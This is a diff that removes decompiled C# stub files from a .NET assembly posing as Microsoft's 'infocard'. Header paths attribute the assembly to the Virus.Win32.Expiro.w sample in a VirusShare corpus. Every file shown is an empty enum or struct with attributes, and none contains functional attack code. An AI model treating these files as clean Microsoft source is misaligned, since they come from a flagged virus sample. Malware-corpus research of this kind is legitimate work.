-1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_RESPONSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _RPC_RESPONSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SASL_AUTHZID_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SASL_AUTHZID_STATE.cs deleted file mode 100644 index 435c1748..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SASL_AUTHZID_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SASL_AUTHZID_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SASL_AUTHZID_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ACTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ACTION_TYPE.cs deleted file mode 100644 index b7794362..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ACTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ACTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SC_ACTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ENUM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ENUM_TYPE.cs deleted file mode 100644 index 18f386e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ENUM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ENUM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SC_ENUM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_STATUS_TYPE.cs deleted file mode 100644 index 8eb9b013..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SC_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_ATTRIBUTES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_ATTRIBUTES.cs deleted file mode 100644 index 05fe7031..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_ATTRIBUTES.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_ATTRIBUTES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _SECURITY_ATTRIBUTES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_IMPERSONATION_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_IMPERSONATION_LEVEL.cs deleted file mode 100644 index dfa9133f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_IMPERSONATION_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_IMPERSONATION_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SECURITY_IMPERSONATION_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_SESSION_DATA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_SESSION_DATA.cs deleted file mode 100644 index d009b072..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_SESSION_DATA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_SESSION_DATA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 80)] -internal struct _SECURITY_LOGON_SESSION_DATA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_TYPE.cs deleted file mode 100644 index 7b737222..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SECURITY_LOGON_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SETTINGSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SETTINGSTATUS.cs deleted file mode 100644 index 2539787d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SETTINGSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SETTINGSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SETTINGSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_ADT_PARAMETER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_ADT_PARAMETER_TYPE.cs deleted file mode 100644 index e2bd09d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_ADT_PARAMETER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_ADT_PARAMETER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SE_ADT_PARAMETER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_OBJECT_TYPE.cs deleted file mode 100644 index 6167bc34..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SE_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SID_NAME_USE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SID_NAME_USE.cs deleted file mode 100644 index e92d0846..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SID_NAME_USE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SID_NAME_USE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SID_NAME_USE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPACTION.cs deleted file mode 100644 index f4c321ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SPACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPTEXT.cs deleted file mode 100644 index 0f0a5771..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SPTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ASSOCIATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ASSOCIATION_TYPE.cs deleted file mode 100644 index e2117d24..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ASSOCIATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ASSOCIATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_ASSOCIATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_BUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_BUS_TYPE.cs deleted file mode 100644 index 5ed4b7ca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_BUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_BUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_BUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_CODE_SET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_CODE_SET.cs deleted file mode 100644 index 6a6b481a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STORAGE_IDENTIFIER_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_TYPE.cs deleted file mode 100644 index 49a8462a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_IDENTIFIER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ID_NAA_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ID_NAA_FORMAT.cs deleted file mode 100644 index 7f55d751..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ID_NAA_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ID_NAA_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_ID_NAA_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_MEDIA_TYPE.cs deleted file mode 100644 index a05894e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _STORAGE_MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PORT_CODE_SET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PORT_CODE_SET.cs deleted file mode 100644 index 4c7edc02..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PORT_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PORT_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _STORAGE_PORT_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PROPERTY_ID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PROPERTY_ID.cs deleted file mode 100644 index b6ab730c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PROPERTY_ID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_PROPERTY_ID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_PROPERTY_ID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_QUERY_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_QUERY_TYPE.cs deleted file mode 100644 index 3477d2c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_QUERY_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_QUERY_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_QUERY_TYPE -{ -} diff --git 